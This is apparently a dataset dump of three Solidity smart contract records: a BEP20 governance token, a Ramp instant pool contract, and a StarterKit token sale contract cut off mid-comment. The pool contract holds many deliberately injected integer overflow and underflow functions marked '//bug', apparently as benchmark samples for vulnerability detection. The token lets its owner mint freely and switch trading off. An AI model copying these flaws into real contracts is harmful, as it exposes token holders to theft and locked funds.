hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5e90f909b602a7faa30202ed85cd20eb1eacaf8d981021bdbc808a4019f44b68
| 38,923 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x026f21DC6B72ab5D8f4CF8F23e44d98b3F760Ba5/contract.sol
| 5,063 | 19,950 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address public pancakeRouterAddress;
bool public tradingEnabled;
uint8 public numberUpdates = 0; // how many times we've enabled trading
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function setPancakeRouterAddress(address _pancakeRouterAddress) external onlyOwner {
pancakeRouterAddress = _pancakeRouterAddress;
}
function _enableTrading() external onlyOwner() {
tradingEnabled = true;
}
function _disableTrading() external onlyOwner() {
require(numberUpdates < 2, "ERROR: You can't disable trading more than 2 times");
require(tradingEnabled == true, "ERROR: Trading is disabled");
numberUpdates = numberUpdates+1;
tradingEnabled = false;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
require(msg.sender != pancakeRouterAddress && tradingEnabled == true, "BSCRYPT: trading has not been enabled to protect holders.");
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// BSCRYPT with Governance.
contract BSCrypt is BEP20('BSCrypt Token', 'BSCRYPT') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BSCRYPT::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "BSCRYPT::delegateBySig: invalid nonce");
require(now <= expiry, "BSCRYPT::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "BSCRYPT::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying BSCRYPTs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "BSCRYPT::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 253,166 | 12,400 |
fd6e26030c17332590da855d7bd4032e8eb61edae153017acf19a7dcd98f86db
| 16,879 |
.sol
|
Solidity
| false |
541943446
|
sbip-sg/solc-json-parser
|
f5b827a20dba8e4089a8a2f67ac1a177cf4a1c11
|
contracts/dev/buggy20.sol
| 3,957 | 13,185 |
pragma solidity ^0.5.10;
contract Ownable {
mapping(address => uint) public lockTime_intou21;
function increaseLockTime_intou21(uint _secondsToIncrease) public {
lockTime_intou21[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_intou21() public {
require(now > lockTime_intou21[msg.sender]);
uint transferValue_intou21 = 10;
msg.sender.transfer(transferValue_intou21);
}
address public owner;
function bug_intou40(uint8 p_intou40) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou40; // overflow bug
}
event OwnerChanged(address oldOwner, address newOwner);
constructor() internal {
owner = msg.sender;
}
mapping(address => uint) public lockTime_intou17;
function increaseLockTime_intou17(uint _secondsToIncrease) public {
lockTime_intou17[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_intou17() public {
require(now > lockTime_intou17[msg.sender]);
uint transferValue_intou17 = 10;
msg.sender.transfer(transferValue_intou17);
}
modifier onlyOwner() {
require(msg.sender == owner, "only the owner can call this");
_;
}
function changeOwner(address _newOwner) external onlyOwner {
owner = _newOwner;
emit OwnerChanged(msg.sender, _newOwner);
}
mapping(address => uint) public lockTime_intou37;
function increaseLockTime_intou37(uint _secondsToIncrease) public {
lockTime_intou37[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_intou37() public {
require(now > lockTime_intou37[msg.sender]);
uint transferValue_intou37 = 10;
msg.sender.transfer(transferValue_intou37);
}
}
contract Stoppable is Ownable {
mapping(address => uint) balances_intou10;
function transfer_intou10(address _to, uint _value) public returns (bool) {
require(balances_intou10[msg.sender] - _value >= 0); //bug
balances_intou10[msg.sender] -= _value; //bug
balances_intou10[_to] += _value; //bug
return true;
}
bool public isActive = true;
mapping(address => uint) public lockTime_intou33;
function increaseLockTime_intou33(uint _secondsToIncrease) public {
lockTime_intou33[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_intou33() public {
require(now > lockTime_intou33[msg.sender]);
uint transferValue_intou33 = 10;
msg.sender.transfer(transferValue_intou33);
}
event IsActiveChanged(bool _isActive);
modifier onlyActive() {
require(isActive, "contract is stopped");
_;
}
function setIsActive(bool _isActive) external onlyOwner {
if (_isActive == isActive) return;
isActive = _isActive;
emit IsActiveChanged(_isActive);
}
function bug_intou3() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
}
contract RampInstantPoolInterface {
uint16 public ASSET_TYPE;
function sendFundsToSwap(uint256 _amount)
public returns(bool success);
}
contract RampInstantEscrowsPoolInterface {
uint16 public ASSET_TYPE;
function release(address _pool,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash)
external;
mapping(address => uint) public lockTime_intou9;
function increaseLockTime_intou9(uint _secondsToIncrease) public {
lockTime_intou9[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_intou9() public {
require(now > lockTime_intou9[msg.sender]);
uint transferValue_intou9 = 10;
msg.sender.transfer(transferValue_intou9);
}
function returnFunds(address payable _pool,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash)
external;
mapping(address => uint) public lockTime_intou25;
function increaseLockTime_intou25(uint _secondsToIncrease) public {
lockTime_intou25[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_intou25() public {
require(now > lockTime_intou25[msg.sender]);
uint transferValue_intou25 = 10;
msg.sender.transfer(transferValue_intou25);
}
}
contract RampInstantPool is Ownable, Stoppable, RampInstantPoolInterface {
uint256 constant private MAX_SWAP_AMOUNT_LIMIT = 1 << 240;
uint16 public ASSET_TYPE;
mapping(address => uint) balances_intou22;
function transfer_intou22(address _to, uint _value) public returns (bool) {
require(balances_intou22[msg.sender] - _value >= 0); //bug
balances_intou22[msg.sender] -= _value; //bug
balances_intou22[_to] += _value; //bug
return true;
}
address payable public swapsContract;
function bug_intou12(uint8 p_intou12) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou12; // overflow bug
}
uint256 public minSwapAmount;
function bug_intou11() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
uint256 public maxSwapAmount;
mapping(address => uint) public lockTime_intou1;
function increaseLockTime_intou1(uint _secondsToIncrease) public {
lockTime_intou1[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_ovrflow1() public {
require(now > lockTime_intou1[msg.sender]);
uint transferValue_intou1 = 10;
msg.sender.transfer(transferValue_intou1);
}
bytes32 public paymentDetailsHash;
function bug_intou27() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
event ReceivedFunds(address _from, uint256 _amount);
function bug_intou31() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
event LimitsChanged(uint256 _minAmount, uint256 _maxAmount);
mapping(address => uint) public lockTime_intou13;
function increaseLockTime_intou13(uint _secondsToIncrease) public {
lockTime_intou13[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_intou13() public {
require(now > lockTime_intou13[msg.sender]);
uint transferValue_intou13 = 10;
msg.sender.transfer(transferValue_intou13);
}
event SwapsContractChanged(address _oldAddress, address _newAddress);
constructor(address payable _swapsContract,
uint256 _minSwapAmount,
uint256 _maxSwapAmount,
bytes32 _paymentDetailsHash,
uint16 _assetType)
public
validateLimits(_minSwapAmount, _maxSwapAmount)
validateSwapsContract(_swapsContract, _assetType)
{
swapsContract = _swapsContract;
paymentDetailsHash = _paymentDetailsHash;
minSwapAmount = _minSwapAmount;
maxSwapAmount = _maxSwapAmount;
ASSET_TYPE = _assetType;
}
function bug_intou19() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
function availableFunds() public view returns (uint256);
mapping(address => uint) balances_intou26;
function transfer_intou26(address _to, uint _value) public returns (bool) {
require(balances_intou26[msg.sender] - _value >= 0); //bug
balances_intou26[msg.sender] -= _value; //bug
balances_intou26[_to] += _value; //bug
return true;
}
function withdrawFunds(address payable _to, uint256 _amount)
public returns (bool success);
function bug_intou20(uint8 p_intou20) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou20; // overflow bug
}
function withdrawAllFunds(address payable _to) public onlyOwner returns (bool success) {
return withdrawFunds(_to, availableFunds());
}
function bug_intou32(uint8 p_intou32) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou32; // overflow bug
}
function setLimits(uint256 _minAmount,
uint256 _maxAmount) public onlyOwner validateLimits(_minAmount, _maxAmount) {
minSwapAmount = _minAmount;
maxSwapAmount = _maxAmount;
emit LimitsChanged(_minAmount, _maxAmount);
}
mapping(address => uint) balances_intou38;
function transfer_intou38(address _to, uint _value) public returns (bool) {
require(balances_intou38[msg.sender] - _value >= 0); //bug
balances_intou38[msg.sender] -= _value; //bug
balances_intou38[_to] += _value; //bug
return true;
}
function setSwapsContract(address payable _swapsContract) public onlyOwner validateSwapsContract(_swapsContract, ASSET_TYPE) {
address oldSwapsContract = swapsContract;
swapsContract = _swapsContract;
emit SwapsContractChanged(oldSwapsContract, _swapsContract);
}
function bug_intou4(uint8 p_intou4) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou4; // overflow bug
}
function sendFundsToSwap(uint256 _amount)
public returns(bool success);
function releaseSwap(address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash) external onlyOwner {
RampInstantEscrowsPoolInterface(swapsContract).release(address(this),
_receiver,
_oracle,
_assetData,
_paymentDetailsHash);
}
function bug_intou7() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
function returnSwap(address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash) external onlyOwner {
RampInstantEscrowsPoolInterface(swapsContract).returnFunds(address(this),
_receiver,
_oracle,
_assetData,
_paymentDetailsHash);
}
function bug_intou23() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
function () external payable {
revert("this pool cannot receive ether");
}
mapping(address => uint) balances_intou14;
function transfer_intou14(address _to, uint _value) public returns (bool) {
require(balances_intou14[msg.sender] - _value >= 0); //bug
balances_intou14[msg.sender] -= _value; //bug
balances_intou14[_to] += _value; //bug
return true;
}
modifier onlySwapsContract() {
require(msg.sender == swapsContract, "only the swaps contract can call this");
_;
}
modifier isWithinLimits(uint256 _amount) {
require(_amount >= minSwapAmount && _amount <= maxSwapAmount, "amount outside swap limits");
_;
}
modifier validateLimits(uint256 _minAmount, uint256 _maxAmount) {
require(_minAmount <= _maxAmount, "min limit over max limit");
require(_maxAmount <= MAX_SWAP_AMOUNT_LIMIT, "maxAmount too high");
_;
}
modifier validateSwapsContract(address payable _swapsContract, uint16 _assetType) {
require(_swapsContract != address(0), "null swaps contract address");
require(RampInstantEscrowsPoolInterface(_swapsContract).ASSET_TYPE() == _assetType,
"pool asset type doesn't match swap contract");
_;
}
}
contract RampInstantEthPool is RampInstantPool {
mapping(address => uint) balances_intou2;
function transfer_undrflow2(address _to, uint _value) public returns (bool) {
require(balances_intou2[msg.sender] - _value >= 0); //bug
balances_intou2[msg.sender] -= _value; //bug
balances_intou2[_to] += _value; //bug
return true;
}
uint16 internal constant ETH_TYPE_ID = 1;
constructor(address payable _swapsContract,
uint256 _minSwapAmount,
uint256 _maxSwapAmount,
bytes32 _paymentDetailsHash)
public
RampInstantPool(_swapsContract, _minSwapAmount, _maxSwapAmount, _paymentDetailsHash, ETH_TYPE_ID)
{}
mapping(address => uint) balances_intou30;
function transfer_intou30(address _to, uint _value) public returns (bool) {
require(balances_intou30[msg.sender] - _value >= 0); //bug
balances_intou30[msg.sender] -= _value; //bug
balances_intou30[_to] += _value; //bug
return true;
}
function availableFunds() public view returns(uint256) {
return address(this).balance;
}
function bug_intou8(uint8 p_intou8) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou8; // overflow bug
}
function withdrawFunds(address payable _to,
uint256 _amount) public onlyOwner returns (bool success) {
_to.transfer(_amount); // always throws on failure
return true;
}
function bug_intou39() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
function sendFundsToSwap(uint256 _amount) public onlyActive onlySwapsContract isWithinLimits(_amount) returns(bool success) {
swapsContract.transfer(_amount); // always throws on failure
return true;
}
function bug_intou36(uint8 p_intou36) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou36; // overflow bug
}
function () external payable {
require(msg.data.length == 0, "invalid pool function called");
if (msg.sender != swapsContract) {
emit ReceivedFunds(msg.sender, msg.value);
}
}
function bug_intou35() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
}
| 17,141 | 12,401 |
688398836b9379cbe2a22ded0a52a74d88e1b5c17144034eb9849524df9242cd
| 13,014 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x85cef9f957c644e91c081eef2e5da318458778b1.sol
| 3,432 | 11,727 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/// @title Starter Kit Contract
/// @author Julia Altenried, Yuriy Kashnikov
contract StarterKit is Ownable {
uint256 public constant COPPER_AMOUNT_NDC = 1000 * 10**18;
uint256 public constant COPPER_AMOUNT_TPT = 1500 * 10**18;
uint256 public constant COPPER_AMOUNT_SKL = 25 * 10**18;
uint256 public constant COPPER_AMOUNT_XPER = 12 * 10**2;
uint256 public constant BRONZE_AMOUNT_NDC = 2000 * 10**18;
uint256 public constant BRONZE_AMOUNT_TPT = 4000 * 10**18;
uint256 public constant BRONZE_AMOUNT_SKL = 50 * 10**18;
uint256 public constant BRONZE_AMOUNT_XPER = 25 * 10**2;
uint256 public constant SILVER_AMOUNT_NDC = 11000 * 10**18;
uint256 public constant SILVER_AMOUNT_TPT = 33000 * 10**18;
uint256 public constant SILVER_AMOUNT_SKL = 100 * 10**18;
uint256 public constant SILVER_AMOUNT_XPER = 50 * 10**2;
uint256 public constant GOLD_AMOUNT_NDC = 25000 * 10**18;
uint256 public constant GOLD_AMOUNT_TPT = 100000 * 10**18;
uint256 public constant GOLD_AMOUNT_SKL = 200 * 10**18;
uint256 public constant GOLD_AMOUNT_XPER = 100 * 10**2;
uint256 public constant PLATINUM_AMOUNT_NDC = 250000 * 10**18;
uint256 public constant PLATINUM_AMOUNT_TPT = 1250000 * 10**18;
uint256 public constant PLATINUM_AMOUNT_SKL = 2000 * 10**18;
uint256 public constant PLATINUM_AMOUNT_XPER = 500 * 10**2;
ERC20 public tpt;
ERC20 public ndc;
ERC20 public skl;
ERC20 public xper;
address public neverdieSigner;
event BuyCopper(address indexed to,
uint256 CopperPrice,
uint256 value);
event BuyBronze(address indexed to,
uint256 BronzePrice,
uint256 value);
event BuySilver(address indexed to,
uint256 SilverPrice,
uint256 value);
event BuyGold(address indexed to,
uint256 GoldPrice,
uint256 value);
event BuyPlatinum(address indexed to,
uint256 PlatinumPrice,
uint256 value);
/// @dev handy constructor to initialize StarerKit with a set of proper parameters
/// @param _tptContractAddress TPT token address
/// @param _ndcContractAddress NDC token address
/// @param _signer signer address
function StarterKit(address _tptContractAddress, address _ndcContractAddress,
address _sklContractAddress, address _xperContractAddress,
address _signer) public {
tpt = ERC20(_tptContractAddress);
ndc = ERC20(_ndcContractAddress);
skl = ERC20(_sklContractAddress);
xper = ERC20(_xperContractAddress);
neverdieSigner = _signer;
}
function setNDCContractAddress(address _to) external onlyOwner {
ndc = ERC20(_to);
}
function setTPTContractAddress(address _to) external onlyOwner {
tpt = ERC20(_to);
}
function setSKLContractAddress(address _to) external onlyOwner {
skl = ERC20(_to);
}
function setXPERContractAddress(address _to) external onlyOwner {
xper = ERC20(_to);
}
function setSignerAddress(address _to) external onlyOwner {
neverdieSigner = _to;
}
/// @dev buy Copper with ether
/// @param _CopperPrice price in Wei
